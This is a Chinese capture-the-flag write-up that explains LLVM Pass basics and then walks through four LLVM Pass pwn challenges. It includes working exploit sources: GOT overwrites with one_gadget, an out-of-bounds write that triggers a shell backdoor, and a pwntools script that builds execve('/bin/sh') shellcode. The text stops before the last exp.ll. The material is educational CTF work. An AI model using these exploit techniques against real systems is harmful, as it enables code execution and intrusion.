LLVM PASS PWN 总结

admin 2023年2月3日01:55:57评论10 views字数 35929阅读119分45秒阅读模式

LLVM PASS PWN 总结

本文为看雪论坛精华文章

看雪论坛作者ID:winmt





前言


近期的比赛里出现了两次LLVM PASS PWN类的题目(CISCN初赛和强网杯),但是自己一直没去研究。最近刚开学还算比较闲,就看了一下LLVM PASS PWN类的题目,这篇文章记录一下自己对此类题目的总结吧。




LLVM PASS 简介


LLVM是C++编写的构架编译器的框架系统,可用于优化以任意程序语言编写的程序。

LLVM Pass可用于对代码进行优化或者对代码插桩(插入新代码),LLVM的核心库中提供了一些Pass类可以继承,通过实现它的一些方法,可以对传入的LLVM IR进行遍历并操作。

LLVM IR即代码的中间表示,有三种形式:
  1. .ll 格式:人类可以阅读的文本
  2. .bc 格式:适合机器存储的二进制文件
  3. 内存表示

下面给出.ll格式和.bc格式生成及相互转换的常用指令清单:
.c -> .llclang -emit-llvm -S a.c -o a.ll.c -> .bc: clang -emit-llvm -c a.c -o a.bc.ll -> .bc: llvm-as a.ll -o a.bc.bc -> .ll: llvm-dis a.bc -o a.ll.bc -> .s: llc a.bc -o a.s





准备工作及注意点


需要安装CTF题目中常用的三个版本的clang及LLVM:
sudo apt install clang-8sudo apt install llvm-8 sudo apt install clang-10sudo apt install llvm-10 sudo apt install clang-12sudo apt install llvm-12

opt是LLVM的优化器和分析器,可加载指定的模块,对输入的LLVM IR或者LLVM字节码进行优化或分析。CTF题目一般会给出所需版本的opt文件(可用./opt --version查看版本)或者在README文档中告知opt版本。安装好llvm后,可在/usr/lib/llvm-xx/bin/opt路径下找到对应llvm版本的opt文件(一般不开PIE保护)。
LLVM PASS PWN 总结
需要注意的是,最好使用题目所给opt同版本的clang生成ll或bc文件。如:题目所给的文件是opt-8,就最好使用clang-8 -emit-llvm -S exp.c -o exp.ll命令。

LLVM PASS类题目都会给出一个xxx.so,即自定义的LLVM PASS模块,漏洞点就自然会出现在其中。我们可以使用opt -load ./xxx.so -xxx ./exp.{ll/bc}命令加载模块并启动LLVM的优化分析(其中-xxx是xxx.so中注册的PASS的名称,README文档中一般会给出,也可以通过逆向PASS模块得到)。需要注意的是,若题目给了opt文件,就用题目指定的opt文件启动LLVM并调试(如命令./opt-8 ...),直接使用opt-8 ...命令是用的系统安装的opt,可能会和题目所给的有不同。

在打远程的时候,与内核和QEMU逃逸的题类似:将exp.ll或exp.bc通过base64加密传输到远程服务器,远程服务器会解码,并将得到的LLVM IR传给LLVM运行。




尝试编写第一个LLVM PASS


参考官方文档:https://llvm.org/docs/WritingAnLLVMPass.html

这里魔改了一下官方文档中给出的Hello Pass,加入了一些CTF题中常见的LLVM语法:
// Hello.cpp#include "llvm/Pass.h"#include "llvm/IR/Function.h"#include "llvm/IR/Constants.h"#include "llvm/IR/BasicBlock.h"#include "llvm/IR/Instructions.h"#include "llvm/Support/raw_ostream.h"#include "llvm/IR/LegacyPassManager.h"#include "llvm/Transforms/IPO/PassManagerBuilder.h"using namespace llvm; namespace {  struct Hello : public FunctionPass {    static char ID;    Hello() : FunctionPass(ID) {}    bool runOnFunction(Function &F) override {      errs() << "Hello: ";      errs().write_escaped(F.getName()) << 'n';      SymbolTableList<BasicBlock>::const_iterator bbEnd = F.end();      for(SymbolTableList<BasicBlock>::const_iterator bbIter = F.begin(); bbIter != bbEnd; ++bbIter){         SymbolTableList<Instruction>::const_iterator instIter = bbIter->begin();         SymbolTableList<Instruction>::const_iterator instEnd  = bbIter->end();         for(; instIter != instEnd; ++instIter){            errs() << "OpcodeName = " << instIter->getOpcodeName() << " NumOperands = " << instIter->getNumOperands() << "n";            if (instIter->getOpcode() == 56)            {                if(const CallInst* call_inst = dyn_cast<CallInst>(instIter)) {                    errs() << call_inst->getCalledFunction()->getName() << "n";                    for (int i = 0; i < instIter->getNumOperands()-1; i++)                    {                        if (isa<ConstantInt>(call_inst->getOperand(i)))                        {                            errs() << "Operand " << i << " = " << dyn_cast<ConstantInt>(call_inst->getArgOperand(i))->getZExtValue() << "n";                        }                    }                }            }         }      }      return false;    }  };} char Hello::ID = 0; // Register for optstatic RegisterPass<Hello> X("Hello", "Hello World Pass"); // Register for clangstatic RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible,  [](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) {    PM.add(new Hello());  });

通过如下命令,可将其编译为LLVMHello.so模块:
clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`

上述代码中的Hello结构体继承了LLVM核心库中的FunctionPass类,并重写了其中的runOnFunction函数(一般的CTF题都是如此)。runOnFunction函数在LLVM遍历到每一个传入的LLVM IR中的函数时都会被调用。

下面解释一下上述代码中的一些常用LLVM语法:

1、getName()函数用于获取当前runOnFunction正处理的函数名。

2、第一个for循环是对当前处理的函数中的基本块(比如一些条件分支语句就会产生多个基本块,在生成的ll文件中,不同基本块之间会有换行)遍历,第二个for循环是对每个基本块中的指令遍历。

3、getOpcodeName()函数用于获取指令的操作符的名称,getNumOperands()用于获取指令的操作数的个数,getOpcode()函数用于获取指令的操作符编号,在/usr/include/llvm-xx/llvm/IR/Instruction.def文件中有对应表,可以看到,56号对应着Call这个操作符:
...HANDLE_OTHER_INST(56, Call   , CallInst   )  // Call a function...

4、当在一个A函数中调用了B函数,在LLVM IR中,A会通过Call操作符调用B,getCalledFunction()函数就是用于获取此处B函数的名称。

5、getOperand(i)是用于获取第i个操作数(在这里就是获取所调用函数的第i个参数),getArgOperand()函数与其用法类似,但只能获取参数,getZExtValue()即get Zero Extended Value,也就是将获取的操作数转为无符号扩展整数。

6、再看到最内层for循环中的instIter->getNumOperands()-1,这里需要-1是因为对于call和invoke操作符,操作数的数量是实际参数的个数+1(因为将被调用者也当成了操作数)。

7、if (isa<ConstantInt>(call_inst->getOperand(i)))这行语句是通过isa判断当前获取到的操作数是不是立即数(ConstantInt)。

8、static RegisterPass<Hello> X("Hello", "Hello World Pass");中的第一个参数就是注册的PASS名称。

下面写一个用于测试的程序:
// test.c#include <stdio.h>#include <unistd.h> int main(){    char name[0x10];    puts("Please tell me your name:");    read(0, name, 0x10);    printf("Hello: ");    write(1, name, 0x10);}

通过clang -emit-llvm -S test.c -o test.ll命令将其生成为LLVM IR(笔者本地的clang版本为10.0.0-4ubuntu1):
; ModuleID = 'test.c'source_filename = "test.c"target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [26 x i8] c"Please tell me your name:0", align 1@.str.1 = private unnamed_addr constant [8 x i8] c"Hello: 0", align 1 ; Function Attrs: noinline nounwind optnone uwtabledefine dso_local i32 @main() #0 {  %1 = alloca [16 x i8], align 16  %2 = call i32 @puts(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0))  %3 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0  %4 = call i64 @read(i32 0, i8* %3, i64 16)  %5 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0))  %6 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0  %7 = call i64 @write(i32 1, i8* %6, i64 16)  ret i32 0} declare dso_local i32 @puts(i8*) #1 declare dso_local i64 @read(i32, i8*, i64) #1 declare dso_local i32 @printf(i8*, ...) #1 declare dso_local i64 @write(i32, i8*, i64) #1 attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" } !llvm.module.flags = !{!0}!llvm.ident = !{!1} !0 = !{i32 1, !"wchar_size", i32 4}!1 = !{!"clang version 10.0.0-4ubuntu1 "}

接着,通过opt -load ./LLVMHello.so -Hello test.ll命令运行,得到如下结果:
Hello: mainOpcodeName = alloca NumOperands = 1OpcodeName = call NumOperands = 2putsOpcodeName = getelementptr NumOperands = 3OpcodeName = call NumOperands = 4readOperand 0 = 0Operand 2 = 16OpcodeName = call NumOperands = 2printfOpcodeName = getelementptr NumOperands = 3OpcodeName = call NumOperands = 4writeOperand 0 = 1Operand 2 = 16OpcodeName = ret NumOperands = 1

读者可结合上述内容再好好理解一下LLVM IR和LLVM PASS的相关语法。




逆向分析so模块


一般来说,CTF题也都像上面的示例程序一样,重写了FunctionPass类中的runOnFunction函数,那么拿到一个so模块,该如何定位到重写的runOnFunction函数呢?
LLVM PASS PWN 总结
如上图,用IDA对so模块逆向分析,在IDA中搜索vtable,定位到虚表后,虚表最后的一项sub_C880就是重写的runOnFunction函数,漏洞点一般就在其中。

至于PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数“交叉引用”来定位:
LLVM PASS PWN 总结
例如,上图中圈出的字符串就是此so模块注册的PASS名称,不同的so模块这里显示的可能会略有不同,但都能看出PASS名称。

当然,由于LLVM是C++所写,读者在做LLVM的题之前,也应当对C++程序的逆向分析有所了解。




gdb调试方法


接下来介绍一下如何用gdb调试LLVM的题。

首先用gdb调试opt并用set args设置参数传入,然后在main函数下断点再跑起来即可:
LLVM PASS PWN 总结
不过,opt并不会一开始就将so模块加载进来,而是在下图所示的call指令(在call了一堆llvm初始化相关函数后的第一个call)执行完之后,才会加载so模块:
LLVM PASS PWN 总结
下图圈出来的就是so模块的基地址(高版本opt会显示在内存分布表的下方),直接用这个基地址加上对应偏移就可以得到so模块中的汇编指令地址了,也就能下断点了。
LLVM PASS PWN 总结
值得一提的是,opt是通过下面几张图展示的这条调用链来执行重写的runOnFunction函数的:
LLVM PASS PWN 总结
LLVM PASS PWN 总结
LLVM PASS PWN 总结
LLVM PASS PWN 总结





红帽杯-2021 simpleVM


用上述介绍的方法确定PASS名为VMPass,重写的runOnFunction函数是sub_6830。

当函数名为o0o0o0o0时,会最终进入sub_6B80函数。
LLVM PASS PWN 总结
其中,当在o0o0o0o0函数中调用pop(),push(),store(),load(),add(),min()函数的时候都各自定义了不同的操作。
LLVM PASS PWN 总结
add()和min()是一对函数,会通过第一个参数确定所要操作的全局变量,然后将第二个参数的值加上或减去。
LLVM PASS PWN 总结
store()和load()也是一堆函数,会将两个全局变量中的一个看作地址,并将地址中的值给另一个全局变量(load()任意地址读漏洞)或是将另一个全局变量中的值存放到这个地址中(store()任意地址写漏洞)。
LLVM PASS PWN 总结
由于opt一般是不会开PIE保护的,故这里可以考虑先利用任意地址读漏洞通过opt中任意一个函数的got表拿到libc地址,并用add和min函数对其修改,再利用任意地址写漏洞来劫持opt中的某个got表为one_gadget即可。

简单说一下如何确定改哪个got表为one_gadget能打通:在上文中给出了从main函数调用到重写的runOnFunction函数的调用链,我们将<main+11507>处的call跳过,之后调用的函数的got表都能改,调试下如何改能满足one_gadget条件即可。

笔者测试的环境为Ubuntu 20.04,对应libc-2.31 9.9版本,exp如下:
// clang-8 -emit-llvm -S exp.c -o exp.llvoid add(int num, long long val);void min(int num, long long val);void load(int num);void store(int num); void o0o0o0o0(){    add(1, 0x77E100);    load(1);    min(2, 0x9a6d0);    add(2, 0xe3afe);    add(1, 0x870);    store(1);}





CISCN-2021 satool


重写的runOnFunction函数为sub_19D0,PASS名为SAPass。

首先,由于是小端序,容易看出会对函数B4ckDo0r进行操作:
LLVM PASS PWN 总结
但是,接下来的代码比较难看懂。仔细分析后,可以发现其中有大量对LLVM IR合法性的判断和报错信息的输出,这些其实都是可以去掉的,因为我们正常生成的LLVM IR都是合法的。

这题反编译的其他一些地方也比较奇怪,可能需要配合一些调试才能搞清楚。

通过调试,可以知道if ( !(unsigned int)std::string::compare(&v89, "save") )这类语句都是判断是否在B4ckDo0r中调用了某个函数(如save()),并对其进行一系列操作。此外,如-1431655765 * (unsigned int)((unsigned __int64)((char *)&v15[3 * v18 + -3 * NumTotalBundleOperands] - v20) >> 3) == 2这类语句的左侧就是取调用的这个函数的参数个数。

如下对save函数操作的有效部分中,通过调试可以确定v25和v30就是传入的两个参数,之后会将其均复制入分配的0x20大小的堆块中,由此也可以推断出其类型应该为char *:
LLVM PASS PWN 总结
由上图可知,byte_2040f8是堆块地址,stealkey会将堆块中的值(首八字节)给byte_204100变量:
LLVM PASS PWN 总结
在对stealkey函数操作的过程中,经调试,此处的getSExtValue取的是其第一个参数的值,然后会将堆块中原有的值加上这个参数:
LLVM PASS PWN 总结
最后,很明显,可以通过run函数,将堆块中的值作为函数指针直接执行:
LLVM PASS PWN 总结
因此,思路就很显然了,通过申请的堆块中残留的libc地址加上某个偏移到one_gadget,然后直接run就行了。

本机libc是glibc 2.31-9.9版本,下个断点在malloc(0x18)前,查看一下堆块布局:
LLVM PASS PWN 总结
可见,只要取走tcache里0x20的一个堆块,再申请的0x20的堆块就会从smallbin里取了,也就会有libc地址残留了(main_arena+112)。

由以上分析,可写出如下exp:
// clang-8 -emit-llvm -S exp.c -o exp.llvoid save(char *a, char *b);void stealkey();void fakekey(long long x);void run(); void B4ckDo0r(){    save("n", "n");    save("", "n");    stealkey();    fakekey(-0x1ecbf0+0xe3afe);    run();}





强网杯-2022 yakagame


本题重写的runOnFunction函数为sub_C880,PASS名称为ayaka。

首先,本题会对gamestart函数进行优化操作:
LLVM PASS PWN 总结
可以看到在对调用fight函数的操作中,当score指针指向的值大于0x12345678,就可以调用到后门函数:
LLVM PASS PWN 总结
后门函数如下图,只要控制好cmd指针指向的字符串,就可以执行任意命令了:
LLVM PASS PWN 总结
如何触发后门函数呢?weaponlist[]数组是char类型的,即单字节,就算比boss值要大,其差值也不可能大于0x12345678。

继续往后看,后面逆向也都不难,merge函数可以将一个weaponlist的值加到另一个上,destroy可以将指定weaponlist清零,upgrade可以将所有weaponlist的值都加上某一个数值。

接着,会有四个奇怪的函数,像是拼音,也不知道啥意思:wuxiangdeyidao,zhanjinniuza,guobapenhuo,tiandongwanxiang可以对cmd字符串中每个字符都进行同样的操作。由此可以想到,可通过这四个函数对cmd字符串原有的内容解密成某个命令。

cmd开始是由src复制过来的,其中内容如下所示:
LLVM PASS PWN 总结
可以看到其中第二个和第七个字符一样,而那四个函数每次又是对所有字符做同样的操作,因此不难联想到最后解密成的命令很可能是cat flag,写个脚本爆破一下即可。不过这题实际上也不用如此,继续对后面进行分析就知道了。

后面就是一个else条件分支,也就是说当调用的函数不是上面提及的所有函数的时候,就会进入这个分支。这里用了C++ STL里的map,map可在任意类型的值之间建立映射关系,并且会按关键字从小到大排序。如:map["abc"] = 123就将abc这个字符串与123这个数值间建立了映射关系,并且在通过迭代器遍历map的时候,关键字abc会在关键字abd之前遍历到。
LLVM PASS PWN 总结
在这个else分支中,会先遍历map,查找是否有调用的这个函数名作为key,其第一个参数作为value的映射关系。若是有,则会将weaponlist[]数组下标对应map中此映射关系位置的值改为这个value。若没有,则会将这个新映射关系加入map中。

我们注意到,此处的v33是有符号的char类型,其范围是-128~127,故当map中映射关系很多的时候,v33会是负数,此处也就存在一个数组下标越界的漏洞了。
LLVM PASS PWN 总结
如上图,可以看到cmd指针和score指针都在weaponlist之前,故可以通过这个数组下标越界漏洞,修改score指针的最后一字节,使其错位,从而指向很大的数字,触发后门函数。

由于opt没开PIE保护,故直接将cmd指针指向opt中的某个字符串末尾的sh即可:
LLVM PASS PWN 总结
最终,可写出exp如下:

// clang-8 -emit-llvm -S exp.c -o exp.llvoid winmt000(int x);void winmt001(int x);void winmt002(int x);void winmt003(int x);void winmt004(int x);void winmt005(int x);void winmt006(int x);void winmt007(int x);void winmt008(int x);void winmt009(int x);void winmt010(int x);void winmt011(int x);void winmt012(int x);void winmt013(int x);void winmt014(int x);void winmt015(int x);void winmt016(int x);void winmt017(int x);void winmt018(int x);void winmt019(int x);void winmt020(int x);void winmt021(int x);void winmt022(int x);void winmt023(int x);void winmt024(int x);void winmt025(int x);void winmt026(int x);void winmt027(int x);void winmt028(int x);void winmt029(int x);void winmt030(int x);void winmt031(int x);void winmt032(int x);void winmt033(int x);void winmt034(int x);void winmt035(int x);void winmt036(int x);void winmt037(int x);void winmt038(int x);void winmt039(int x);void winmt040(int x);void winmt041(int x);void winmt042(int x);void winmt043(int x);void winmt044(int x);void winmt045(int x);void winmt046(int x);void winmt047(int x);void winmt048(int x);void winmt049(int x);void winmt050(int x);void winmt051(int x);void winmt052(int x);void winmt053(int x);void winmt054(int x);void winmt055(int x);void winmt056(int x);void winmt057(int x);void winmt058(int x);void winmt059(int x);void winmt060(int x);void winmt061(int x);void winmt062(int x);void winmt063(int x);void winmt064(int x);void winmt065(int x);void winmt066(int x);void winmt067(int x);void winmt068(int x);void winmt069(int x);void winmt070(int x);void winmt071(int x);void winmt072(int x);void winmt073(int x);void winmt074(int x);void winmt075(int x);void winmt076(int x);void winmt077(int x);void winmt078(int x);void winmt079(int x);void winmt080(int x);void winmt081(int x);void winmt082(int x);void winmt083(int x);void winmt084(int x);void winmt085(int x);void winmt086(int x);void winmt087(int x);void winmt088(int x);void winmt089(int x);void winmt090(int x);void winmt091(int x);void winmt092(int x);void winmt093(int x);void winmt094(int x);void winmt095(int x);void winmt096(int x);void winmt097(int x);void winmt098(int x);void winmt099(int x);void winmt100(int x);void winmt101(int x);void winmt102(int x);void winmt103(int x);void winmt104(int x);void winmt105(int x);void winmt106(int x);void winmt107(int x);void winmt108(int x);void winmt109(int x);void winmt110(int x);void winmt111(int x);void winmt112(int x);void winmt113(int x);void winmt114(int x);void winmt115(int x);void winmt116(int x);void winmt117(int x);void winmt118(int x);void winmt119(int x);void winmt120(int x);void winmt121(int x);void winmt122(int x);void winmt123(int x);void winmt124(int x);void winmt125(int x);void winmt126(int x);void winmt127(int x);void winmt128(int x);void winmt129(int x);void winmt130(int x);void winmt131(int x);void winmt132(int x);void winmt133(int x);void winmt134(int x);void winmt135(int x);void winmt136(int x);void winmt137(int x);void winmt138(int x);void winmt139(int x);void winmt140(int x);void winmt141(int x);void winmt142(int x);void winmt143(int x);void winmt144(int x);void winmt145(int x);void winmt146(int x);void winmt147(int x);void winmt148(int x);void winmt149(int x);void winmt150(int x);void winmt151(int x);void winmt152(int x);void winmt153(int x);void winmt154(int x);void winmt155(int x);void winmt156(int x);void winmt157(int x);void winmt158(int x);void winmt159(int x);void winmt160(int x);void winmt161(int x);void winmt162(int x);void winmt163(int x);void winmt164(int x);void winmt165(int x);void winmt166(int x);void winmt167(int x);void winmt168(int x);void winmt169(int x);void winmt170(int x);void winmt171(int x);void winmt172(int x);void winmt173(int x);void winmt174(int x);void winmt175(int x);void winmt176(int x);void winmt177(int x);void winmt178(int x);void winmt179(int x);void winmt180(int x);void winmt181(int x);void winmt182(int x);void winmt183(int x);void winmt184(int x);void winmt185(int x);void winmt186(int x);void winmt187(int x);void winmt188(int x);void winmt189(int x);void winmt190(int x);void winmt191(int x);void winmt192(int x);void winmt193(int x);void winmt194(int x);void winmt195(int x);void winmt196(int x);void winmt197(int x);void winmt198(int x);void winmt199(int x);void winmt200(int x);void winmt201(int x);void winmt202(int x);void winmt203(int x);void winmt204(int x);void winmt205(int x);void winmt206(int x);void winmt207(int x);void winmt208(int x);void winmt209(int x);void winmt210(int x);void winmt211(int x);void winmt212(int x);void winmt213(int x);void winmt214(int x);void winmt215(int x);void winmt216(int x);void winmt217(int x);void winmt218(int x);void winmt219(int x);void winmt220(int x);void winmt221(int x);void winmt222(int x);void winmt223(int x);void winmt224(int x);void winmt225(int x);void winmt226(int x);void winmt227(int x);void winmt228(int x);void winmt229(int x);void winmt230(int x);void winmt231(int x);void winmt232(int x);void winmt233(int x);void winmt234(int x);void winmt235(int x);void winmt236(int x);void winmt237(int x);void winmt238(int x);void winmt239(int x);void winmt240(int x); void fight(int x); void gamestart(){    winmt000(0);    winmt001(0);    winmt002(0);    winmt003(0);    winmt004(0);    winmt005(0);    winmt006(0);    winmt007(0);    winmt008(0);    winmt009(0);    winmt010(0);    winmt011(0);    winmt012(0);    winmt013(0);    winmt014(0);    winmt015(0);    winmt016(0);    winmt017(0);    winmt018(0);    winmt019(0);    winmt020(0);    winmt021(0);    winmt022(0);    winmt023(0);    winmt024(0);    winmt025(0);    winmt026(0);    winmt027(0);    winmt028(0);    winmt029(0);    winmt030(0);    winmt031(0);    winmt032(0);    winmt033(0);    winmt034(0);    winmt035(0);    winmt036(0);    winmt037(0);    winmt038(0);    winmt039(0);    winmt040(0);    winmt041(0);    winmt042(0);    winmt043(0);    winmt044(0);    winmt045(0);    winmt046(0);    winmt047(0);    winmt048(0);    winmt049(0);    winmt050(0);    winmt051(0);    winmt052(0);    winmt053(0);    winmt054(0);    winmt055(0);    winmt056(0);    winmt057(0);    winmt058(0);    winmt059(0);    winmt060(0);    winmt061(0);    winmt062(0);    winmt063(0);    winmt064(0);    winmt065(0);    winmt066(0);    winmt067(0);    winmt068(0);    winmt069(0);    winmt070(0);    winmt071(0);    winmt072(0);    winmt073(0);    winmt074(0);    winmt075(0);    winmt076(0);    winmt077(0);    winmt078(0);    winmt079(0);    winmt080(0);    winmt081(0);    winmt082(0);    winmt083(0);    winmt084(0);    winmt085(0);    winmt086(0);    winmt087(0);    winmt088(0);    winmt089(0);    winmt090(0);    winmt091(0);    winmt092(0);    winmt093(0);    winmt094(0);    winmt095(0);    winmt096(0);    winmt097(0);    winmt098(0);    winmt099(0);    winmt100(0);    winmt101(0);    winmt102(0);    winmt103(0);    winmt104(0);    winmt105(0);    winmt106(0);    winmt107(0);    winmt108(0);    winmt109(0);    winmt110(0);    winmt111(0);    winmt112(0);    winmt113(0);    winmt114(0);    winmt115(0);    winmt116(0);    winmt117(0);    winmt118(0);    winmt119(0);    winmt120(0);    winmt121(0);    winmt122(0);    winmt123(0);    winmt124(0);    winmt125(0);    winmt126(0);    winmt127(0);    winmt128(0);    winmt129(0);    winmt130(0);    winmt131(0);    winmt132(0);    winmt133(0);    winmt134(0);    winmt135(0);    winmt136(0);    winmt137(0);    winmt138(0);    winmt139(0);    winmt140(0);    winmt141(0);    winmt142(0);    winmt143(0);    winmt144(0);    winmt145(0);    winmt146(0);    winmt147(0);    winmt148(0);    winmt149(0);    winmt150(0);    winmt151(0);    winmt152(0);    winmt153(0);    winmt154(0);    winmt155(0);    winmt156(0);    winmt157(0);    winmt158(0);    winmt159(0);    winmt160(0);    winmt161(0);    winmt162(0);    winmt163(0);    winmt164(0);    winmt165(0);    winmt166(0);    winmt167(0);    winmt168(0);    winmt169(0);    winmt170(0);    winmt171(0);    winmt172(0);    winmt173(0);    winmt174(0);    winmt175(0);    winmt176(0);    winmt177(0);    winmt178(0);    winmt179(0);    winmt180(0);    winmt181(0);    winmt182(0);    winmt183(0);    winmt184(0);    winmt185(0);    winmt186(0);    winmt187(0);    winmt188(0);    winmt189(0);    winmt190(0);    winmt191(0);    winmt192(0);    winmt193(0);    winmt194(0);    winmt195(0);    winmt196(0);    winmt197(0);    winmt198(0);    winmt199(0);    winmt200(0);    winmt201(0);    winmt202(0);    winmt203(0);    winmt204(0);    winmt205(0);    winmt206(0);    winmt207(0);    winmt208(0);    winmt209(0);    winmt210(0);    winmt211(0);    winmt212(0);    winmt213(0);    winmt214(0);    winmt215(0);    winmt216(0);    winmt217(0);    winmt218(0);    winmt219(0);    winmt220(0);    winmt221(0);    winmt222(0);    winmt223(0);    winmt224(0);    winmt225(0);    winmt226(0);    winmt227(0);    winmt228(0);    winmt229(0);    winmt230(0);    winmt231(0);    winmt232(0x6B);    winmt233(0x69);    winmt234(0x44);    winmt235(0x00);    winmt236(0);    winmt237(0);    winmt238(0);    winmt239(0);    winmt240(0x90);     winmt240(0x90);    winmt232(0x6B);    winmt233(0x69);    winmt234(0x44);    winmt235(0x00);     fight(0);}





CISCN-2022 satool


这题没去符号,重写的runOnFunction函数就叫'anonymous namespace'::MBAPass::runOnFunction,LLVM PASS的名称是mba。

首先,很容易注意到如下几行代码:
LLVM PASS PWN 总结
先是将this[4]段的权限改为可读可写,然后执行handle函数,再将此段权限改为可读可执行,然后执行callCode函数:
LLVM PASS PWN 总结
这里直接执行了this[4]段上的shellcode。

通过调试,可以知道this[4]段初始化全是0xc3,也就对应ret指令。因此,思路其实很显然,通过handle函数,往this[4]段上写入shellcode,然后跳转执行即可。此题对函数名没有要求,任何函数都能被同样地进行这些操作。
LLVM PASS PWN 总结
如上图,这题是倒序对基本块中的指令进行处理的,getTerminator函数是取末尾的指令,第一个if判断末尾指令的第一个操作数是否是常数,第二个else if判断末尾指令的第一个操作数是否为函数的参数,如果都不是,说明是变量,那就进入到最后else的分支。

先分析一下出题人自定义的几个往this[4]段写汇编指令的函数:

1.writeMovImm64函数
LLVM PASS PWN 总结
很明显,this[5]是存放着目前汇编指令写到了何处的指针。当writeMovImm64函数的第二个参数为0时,写入的汇编指令是0x480xB8加上第三个参数作为立即数,当writeMovImm64函数的第二个参数为1时,写入的汇编指令是0x480xBB加上第三个参数作为立即数。
LLVM PASS PWN 总结
测试了一下,得到writeMovImm64(this, 0, val)是写入movabs rax, val指令,writeMovImm64(this, 1, val)是写入movabs rbx, val指令,其中val可以是八字节数,共十字节。

2.writeInc函数
同理,可分析出是写入inc rax指令,三字节。

3.writeOpReg函数
同理,可分析出是写入add rax, rbx指令,三字节。

4.writeRet函数
同理,可分析出是写入ret指令,一字节。

再回到else分支中,首先写入了movabs rax, 0指令,v30是this[4]段首地址加上0xff0后的地址,定义了两个C++ STL的stack,其中v25存放一个数,之后可用来控制正负,初始值为1,v26存放着操作数,首先压进栈了最后一条指令ret i64 %xxx中的操作数xxx(即一个变量)。然后进入了一个while循环,当写入的汇编指令长度大于0xff0就会退出循环,或者当v26的栈为空时,会写入一个ret指令,然后跳转循环。
LLVM PASS PWN 总结
然后,在while循环中,每次会弹出两个栈的栈顶元素,然后再通过v26栈弹出的变量,找到LLVM IR中对应这个变量操作的指令行。接着,获取了这行指令的操作符,只能为13(add)或15(sub),这个在/usr/include/llvm-xx/llvm/IR/Instruction.def可查到。之后,又取了这行指令的两个操作数,如果操作数val是常数:若为±1,则写入inc rax指令,否则写入movabs rbx, val(*v22); add rax, rbx指令,其中v22是从v25栈顶取出的数,默认为1。如果操作数不是常数也非参数,就说明是个变量,那么就压入栈中。
LLVM PASS PWN 总结
如果操作符是sub,那么就将从v25栈顶取出的数v22取反,然后再执行一遍上述过程,这样之后加上第二个操作数val乘上v22的结果就相当于减去val了。

至此,本题核心部分基本都逆向完成了。然而,我们只能往this[4]段写入指定的几个指令,没法直接写入可拿到权限的shellcode。注意到,当我们往this[4]段写入超过0xff0长度几个字节也是可以的,不过在写完之后会直接退出while循环,也就不会在最后写入ret指令了,但是由于this[4]段初始都是ret指令,占一个字节,所以即使有字节超出,最后仍然是ret指令,执行完写入的汇编指令也可以回去,进行第二次汇编指令的读入。

于是我们想到,可以第一次先向this[4]段写入0xff0个字节加上超过几个字节,让超过的几个字节中存在某个跳转指令,然后第二次再向this[4]段写入指令到第一次超出的字节中的跳转指令之前,这样最后就能成功执行第一次超出字节中的跳转指令了。

这里我们采用短跳转指令(jmp short xxx)比较方便,其中xxx是相对于这条短跳转指令的偏移(范围是-128~127),也就是无条件跳转到此偏移的位置。jmp short对应的机器码是0xEB,后面再加上一个字节的偏移(负数用补码)即可,一个短跳转指令共两个字节。

我们肯定是想最后跳转到shellcode上的,但是shellcode改写在哪里呢?我们可控的部分只有每条movabs rbx, xxx指令中xxx位置的八个字节,于是我们可以在这些地方写入一行行的shellcode,并用nop空指令补全六位以后,在之后写上两个字节的短跳转指令,跳转到下一行shellcode即可,这样就能顺利地执行到任意shellcode了,如下图:
LLVM PASS PWN 总结
至于具体的构造方式,其实随意怎么样都行,这里就不展开说了,直接给出生成shellcode的脚本:
from pwn import*context(os = 'linux', arch = 'amd64') shellcode = [    "mov edi, 0x68732f6e",    "shl rdi, 24",    "mov ebx, 0x69622f",    "add rdi, rbx",    "push rdi",    "push rsp",    "pop rdi",    "xor rsi, rsi",    "xor rdx, rdx",    "push 59",    "pop rax",    "syscall"] for sc in shellcode:    print(u64(asm(sc).ljust(6, b'x90') + b'xEBxEB')) print(u16(b'xEBxE4')) # 最后超出0xff0字节部分的跳转指令

由于这题的LLVM IR中指令的操作符只能是add或sub,故不能用C语言直接编译生成LLVM IR文件,不然会有很多其他的操作符。所以建议先用C语言写两个空函数,再通过clang-12对其编译生成ll文件,然后直接在ll文件中仿照之前的题目手写LLVM IR即可。

最终写出的exp.ll如下:
